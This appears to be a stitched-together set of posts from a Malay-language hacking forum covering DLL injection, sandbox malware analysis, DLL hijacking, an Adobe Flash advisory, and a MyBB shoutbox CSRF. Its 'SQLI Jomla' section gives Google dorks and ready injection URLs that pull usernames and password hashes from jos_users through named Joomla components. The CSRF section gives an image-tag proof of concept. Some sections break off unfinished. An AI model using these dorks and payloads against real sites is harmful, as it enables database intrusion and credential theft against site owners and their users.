Static DLL Injection

Credit
dark_royal

INTRODUCTION

DEFINING DLL
According to microsoft “A DLL is a library that contains code and data that can be used by more than one program at the same time. For example, in Windows operating systems, the Comdlg32 DLL performs common dialog box related functions. Therefore, each program can use the functionality that is contained in this DLL to implement an Open dialog box. This helps promote code reuse and efficient memory usage.

Analisis Malware Guna Sandbox

Author
Aponie
dark_royal


Assalamualaikum
Apa itu sandbox? Sandbox atau dalam bahasa melayunya Kotak Pasir€ jika dikaitkan dengan malware adalah alat yang akan merekod semua aktiviti malware semasa berada didalam “kotak pasir” tersebut. Sandbox yang boleh pengguna guna untuk menganalisis malware secara umumnya ada 2 jenis, pertama web base, dan yang keduanya adalah application base.

Contoh application base adalah dengan mengunakan perisian sandboxie. Salah satu tujuan Sandboxie dibina adalah bertujuan untuk melindungi pengguna dari serangan malware secara terus pada Windows pengguna. Namun begitu, ianya juga boleh dijadikan alat untuk menganalisis malware. Untuk mengetahui lebih lanjut mengenai sandboxie, sila ke sini. InsyaAllah, jika ada keluangan masa, saya akan post tutorial cara menganalisis malware menggunakan sandboxie.

Contoh Web base sandbox pula ialah perkhidmatan sandbox yang disediakan laman web tertentu untuk menganalisis malware. Web base sandbox yang saya tahu ialah:

1. Threatexpert
2. Anubis
3. JoeBox
4. CWSandbox
5. Norman Sandbox

Sandbox kegemaran saya ialah adalah Threatexpert dan Anubis. Contoh report yang dihasilkan oleh anubis boleh dilihat disini.

Walaupun kita boleh menganalisis malware menggunakan sandbox, namun tidak semua malware yang dapat kita analisis secara tepat. Programmer malware yang mahir mampu mengaturcara malware beliau untuk tidak “beraksi” bila berada didalam sandbox. Teknik yang digunakan di panggil “anti-sandbox“. Untuk mengatasi masalah ini, biasanya penganalisis malware akan mengguna langkah altenatif, seperti membina sendiri sandbox untuk penggunaan sendiri dan menganalisis malware tersebut secara statik.

Saya tidak tahu banyak tentang cara menganalisis malware secara statik, masih belajar. Untuk menggunakan cara ini, anda perlu mahir dalam Reverse Coding Engineering (RCE). Untuk belajar RCE, ada kena tahu Assembly language (ASM). Biasanya software yang digunakan adalah IDA Pro Disassemble dan OllyDbg.

Setakat ini sahaja kali ini. Harap artikel ini memberi manfaat kepada pengunjung. InsyaAllah.

p/s: Artikel yang saya tulis diatas adalah berdasarkan kefahaman saya sendiri, tanpa rujukan khusus. Jika ada yang silap, harap ada yang menegurnya. Bolehlah sama-sama kita belajar. 

Exploiting DLL Hijacking Flaws

Credit

ApoNie

Assalamualaikum..

leh tahan gak bahaya exploit nie....

Quote:This vulnerability is triggered when a vulnerable file type is opened from within a directory controlled by the attacker. This directory can be a USB drive, an extracted archive, or a remote network share. In most cases, the user will have to browse to the directory and then open the target file type for this exploit to work. The file opened by the user can be completely harmless, the flaw is that the application launched to handle the file type will inadvertently load a DLL from the working directory.

In practice, this flaw can be exploited by sending the target user a link to a network share containing a file they perceive as safe. iTunes, which was affected by this flaw until last week, is associated with a number of media file types, and each of these would result in a specific DLL being loaded from the same directory as the opened file. The user would be presented with a link in the form of \\server\movies\ and a number of media files would be present in this directory. If the user tries to open any of these files, iTunes would search the remote directory for one or more DLLs and then load these DLLs into the process. If the attacker supplied a malicious DLL containing malware or shellcode, its game over for the user.

Mahu belajar buang Virus/Malware?

Credit
kop
dark_royal

Mahu belajar buang Virus/Malware?

Adakah anda ingin..

1. Belajar membuang virus/malware secara teratur dan berkesan?
2. Menolong pengguna lain mengatasi masalah virus/malware?
3. Bekerjasama dengan kumpulan anti-malware di seluruh dunia?


Sekiranya anda ada cita-cita seperti di atas, sila daftar dan belajar dari salah satu sekolah "Anti-Malware" yang terdapat di bawah.. Pembelajaran adalah percuma dan berlangsung secara interaktif antara pelatih dan tenaga pengajar. Kelas dijalankan dalam bahasa Inggeris..

Sekiranya anda betul-betul berminat, sila pilih SATU sahaja dari "school" di bawah.. Anda perlu mendaftar di forum berkenaan..

Bleeping Computer Study Hall

Geek University

Malware Removal University

S.M.A.R.T Training (pm SifuMike)

SpywareInfo BootCamp (Reply kat topic)

Tech Support Forum Academy (pm Reid)

WhatTheTech Classroom

Setelah anda menjadi staff pada salah satu forum di atas, dan ingin menolong kami di sini, sila pm kop dan nyatakan username anda di forum berkenaan..

Adobe Flash Player LocalConnection Memory Corruption Remote Code Execution

Adobe Flash Player LocalConnection Memory Corruption Remote Code Execution

Code:

This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of Adobe Flash Player. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious file.

The specific flaw exists within the connect method exposed via the
ActionScript native object number 2200. If this function is called
several times with differing strings, a memory corruption issue can be
triggered. This can be exploited by remote attackers to execute
arbitrary code under the context of the user running the web browser.

Code:

http://www.zerodayinitiative.com/advisories/ZDI-10-111/

SQLI Jomla

DORK: allinurl:com_comprofiler

/index.php?option=com_comprofiler&task=userProfile& user=1/**/and/**/mid((select/**/password/**/from/**/jos_users/**/limit/**/0,1),1,1)/**/</**/Char(97)/*

DORK 1 : inurl:com_filiale

/index.php?option=com_filiale&idFiliale=-5+union+select+1,password,3,4,username,6,7,8,9,10, 11+from+jos_users

DORK 1 : inurl:com_flippingbook

/index.php?option=com_flippingbook&Itemid=28&book_i d=null/**/union/**/select/**/null,concat(username,0x3e,password),null,null,null ,null,null,null,null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null,null ,null,null,null,null,null,null,null,null,null,null/**/from/**/jos_users/*

CSRF in SpiceFuse Shoutbox (mybb)

CSRF in SpiceFuse Shoutbox (mybb)

Credit

Johnburn

The stories:
Tadi xda keje aku tgk2 code mybb dengan target nk bypass xss filter mybb melalui bbcode dia. dlm aku tgk2 tu aku nmpk satu bnda yg agak menarik pada code shoutbox (aku install plugin SpiceFuse Shoutbox yg sama mcm kt TBD and my0d). Plugin ni vulnerable kepada CSRF melalui image tag.

PoC:
Jika user post yang berikut kat shoutbox, mana2 user len yg view shoutbox secara automatik akan turut post sebarangPost jika browser diset untuk load image (default).

Code:

[img]http://my0d.my/forum/xmlhttp.php?action=add_shout&shout_data=sebarangPost[/img]

Quick Fix:
Bleh elak dengan menggunakan token pada shoutbox. Untuk tmbah token, bleh ikut yg berikut: